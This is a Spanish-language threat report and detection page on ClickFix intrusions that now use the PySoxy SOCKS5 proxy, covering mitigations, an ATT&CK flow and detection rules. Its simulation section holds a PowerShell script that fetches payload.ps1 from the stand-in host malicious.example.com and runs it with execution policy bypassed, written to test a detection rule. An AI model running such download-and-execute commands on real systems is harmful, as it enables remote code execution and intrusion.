ClickFix Evoluciona con Proxying PySoxy
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
ClickFix es una técnica de entrega basada en ingeniería social que ahora se está combinando con el proxy SOCKS5 de código abierto PySoxy para crear un canal de acceso secundario cifrado. La intrusión comienza cuando un usuario ejecuta un comando malicioso de PowerShell, que configura una persistencia de tarea programada e inicia una sesión de mando y control de PowerShell en memoria. Después del reconocimiento inicial, el atacante descarga y ejecuta PySoxy para establecer un segundo camino cifrado en el entorno. Este uso modular de herramientas basadas en intérprete hace que tanto la detección como la contención de incidentes sean más desafiantes.
Investigación
ReliaQuest observó un único comando ClickFix impulsado por el usuario que lanzó un stager de PowerShell ofuscado, creó una tarea programada, realizó reconocimiento de dominio y luego descargó un archivo de código byte Python compilado llamado b64.pyc, que fue ejecutado con python.exe. El componente de PowerShell actuó como un RAT ligero, consultando su servidor de mando y control cada tres segundos. Los investigadores también vieron al atacante usar curl para subir registros y recuperar la carga útil de PySoxy desde el mismo servidor de preparación.
Mitigación
Los defensores deben detectar y bloquear los lanzamientos de PowerShell sospechosos que se originen desde explorer.exe, monitorear las tareas programadas que ejecutan comandos de PowerShell ocultos y buscar ejecuciones de Python utilizando argumentos relacionados con proxies como -ssl, -remote_ip, y -remote_port. Los equipos de seguridad también deben inspeccionar el tráfico saliente hacia los dominios e IPs identificados y eliminar cualquier script de PowerShell persistente o .pyc archivos encontrados en ProgramData.
Respuesta
Si se encuentran indicadores relacionados, aísle el host afectado inmediatamente, desactive la cuenta de usuario comprometida, elimine la tarea programada maliciosa, borre el script de PowerShell y los artefactos de PySoxy, y escanee el sistema en busca de remanentes adicionales. Los defensores también deben confirmar que el tráfico saliente hacia la infraestructura identificada está bloqueado y verificar que no queden activos otros mecanismos de persistencia.
"gráfico TB %% Definiciones de clases classDef técnica fill:#cce5ff %% Definiciones de nodos tech_content_injection["<b>Técnica</b> – <b>T1659 Inyección de Contenido</b><br/><b>Descripción</b>: Los adversarios inyectan contenido malicioso en archivos legítimos o flujos de datos para habilitar acciones maliciosas adicionales."] class tech_content_injection técnica tech_user_exec_malicious_link["<b>Técnica</b> – <b>T1204.001 Ejecución de Usuario: Enlace Malicioso</b><br/><b>Descripción</b>: La víctima hace clic en un enlace elaborado que lanza código malicioso."] class tech_user_exec_malicious_link técnica tech_user_exec_psh_stager["<b>Técnica</b> – <b>T1204 Ejecución de Usuario (stager de PowerShell)</b><br/><b>Descripción</b>: El usuario ejecuta un comando de PowerShell que dispone cargas adicionales."] class tech_user_exec_psh_stager técnica tech_obf_embedded_payloads["<b>Técnica</b> – <b>T1027.009 Archivos o Información Ofuscada: Cargas Incrustadas</b><br/><b>Descripción</b>: Las cargas están ocultas o cifradas dentro de otros archivos para evitar la detección."] class tech_obf_embedded_payloads técnica tech_reflective_loading["<b>Técnica</b> – <b>T1620 Carga de Código Reflectante</b><br/><b>Descripción</b>: El código malicioso se carga directamente en memoria utilizando técnicas reflectantes."] class tech_reflective_loading técnica tech_scheduled_task["<b>Técnica</b> – <b>T1053 Tarea/Trabajo Programado</b><br/><b>Descripción</b>: Se crea una tarea o trabajo programado para ejecutar código malicioso para persistencia."] class tech_scheduled_task técnica tech_user_exec_psh_rat["<b>Técnica</b> – <b>T1204 Ejecución de Usuario (RAT de PowerShell en memoria)</b><br/><b>Descripción</b>: El usuario ejecuta inadvertidamente una herramienta de acceso remoto basada en PowerShell en memoria."] class tech_user_exec_psh_rat técnica tech_permission_groups["<b>Técnica</b> – <b>T1069 Descubrimiento de Grupos de Permisos</b><br/><b>Descripción</b>: El adversario enumera grupos de permisos y membresías en el sistema."] class tech_permission_groups técnica tech_lateral_tool_transfer["<b>Técnica</b> – <b>T1570 Transferencia de Herramientas Laterales</b><br/><b>Descripción</b>: Las herramientas o archivos se transfieren lateralmente a otro host, por ejemplo, a través de la carga de curl."] class tech_lateral_tool_transfer técnica tech_multistage_channels["<b>Técnica</b> – <b>T1104 Canales Multi-Etapa</b><br/><b>Descripción</b>: Se establece un canal de comunicación adicional para descargar más cargas como PySoxy."] class tech_multistage_channels técnica tech_proxy["<b>Técnica</b> – <b>T1090 Proxy</b><br/><b>Descripción</b>: El tráfico se retransmite a través de un servidor proxy para ocultar el origen."] class tech_proxy técnica tech_proxy_external["<b>Técnica</b> – <b>T1090.002 Proxy: Proxy Externo</b><br/><b>Descripción</b>: Se utiliza un servicio proxy externo para ocultar aún más el tráfico de mando y control."] class tech_proxy_external técnica tech_exfil_alt_proto["<b>Técnica</b> – <b>T1048 Exfiltración Sobre Protocolo Alternativo</b><br/><b>Descripción</b>: Los datos se exfiltran utilizando un protocolo no típicamente asociado con la transferencia de datos."] class tech_exfil_alt_proto técnica %% Conexiones que muestran el flujo de ataque tech_content_injection –>|lleva_a| tech_user_exec_malicious_link tech_user_exec_malicious_link –>|lleva_a| tech_user_exec_psh_stager tech_user_exec_psh_stager –>|lleva_a| tech_obf_embedded_payloads tech_obf_embedded_payloads –>|lleva_a| tech_reflective_loading tech_user_exec_psh_stager –>|habilita| tech_scheduled_task tech_scheduled_task –>|lleva_a| tech_user_exec_psh_rat tech_user_exec_psh_rat –>|lleva_a| tech_permission_groups tech_permission_groups –>|lleva_a| tech_lateral_tool_transfer tech_lateral_tool_transfer –>|lleva_a| tech_multistage_channels tech_multistage_channels –>|lleva_a| tech_proxy tech_proxy –>|lleva_a| tech_proxy_external tech_proxy_external –>|lleva_a| tech_exfil_alt_proto "
Flujo de Ataque
Detecciones
Enumeración/Manipulación de Cuenta o Grupo Posible (a través de cmdline)
Vista
Descubrimiento de Confianzas de Dominio Sospechosas (a través de cmdline)
Vista
Uso Sospechoso de CURL (a través de cmdline)
Vista
Cadenas Sospechosas de Powershell (a través de powershell)
Vista
Tarea Programada Sospechosa (a través de auditoría)
Vista
IOCs (IP de Origen) para detectar: Evolución de ClickFix con Proxy PySoxy
Vista
IOCs (IP de Destino) para detectar: Evolución de ClickFix con Proxy PySoxy
Vista
Detectar Actividad de PySoxy y ClickFix con Conexiones Salientes Sospechosas [Conexión de Red de Windows]
Vista
Detección de Actividad C2 de PowerShell de ClickFix [Windows Powershell]
Vista
Campaña de ClickFix – Explorador Lanzando PowerShell Ofuscado [Creación de Procesos de Windows]
Vista
Ejecución de Simulación
Requisito Previo: La verificación previa de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
- Objetivo: Establecer un canal C2 basado en PowerShell (ClickFix) que descargue una carga maliciosa desde un servidor remoto y la ejecute sigilosamente.
- Método: El atacante lanza
powershell.execon los parámetros exactos que la regla monitorea (-NoProfileand-ExecutionPolicy Bypass) y usaInvoke-WebRequestpara obtener la carga. - Por qué este método: Al usar PowerShell nativo de Windows y el cmdlet común
Invoke-WebRequest, el adversario evita descargar herramientas de terceros, reduciendo la probabilidad de detección por parte de AV mientras se parece al comportamiento conocido de ClickFix capturado en la regla.
# Paso 1: Descargar el script malicioso (simulado como un archivo de prueba benigno) $url = "http://malicious.example.com/payload.ps1" $out = "$env: TEMPPayload.ps1" Invoke-WebRequest -Uri $url -OutFile $out # Paso 2: Ejecutar el script descargado utilizando los mismos parámetros de lanzamiento que la regla vigila powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out -
Script de Prueba de Regresión:
# ============================================== # Simulación de ClickFix PowerShell C2 (TC-20260514-3G7ZK) # ============================================== # Definir variables $url = "http://malicious.example.com/payload.ps1" $out = "$env: TEMPPayload.ps1" # 1. Descargar una carga ficticia (actúa como la obtención de C2) Write-Host "[*] Descargando carga..." try { Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing } catch { Write-Error "Descarga fallida: $_" exit 1 } # 2. Ejecutar la carga con los parámetros exactos monitoreados por la regla Write-Host "[*] Ejecutando carga con -NoProfile -ExecutionPolicy Bypass" powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out Write-Host "[+] Simulación completa." # ============================================== -
Comandos de Limpieza:
# Eliminar el archivo de carga temporal if (Test-Path $out) { Remove-Item -Path $out -Force Write-Host "[*] Archivo de carga eliminado." } # Detener opcionalmente cualquier proceso de PowerShell persistente lanzado por la prueba Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force Write-Host "[*] Limpieza terminada."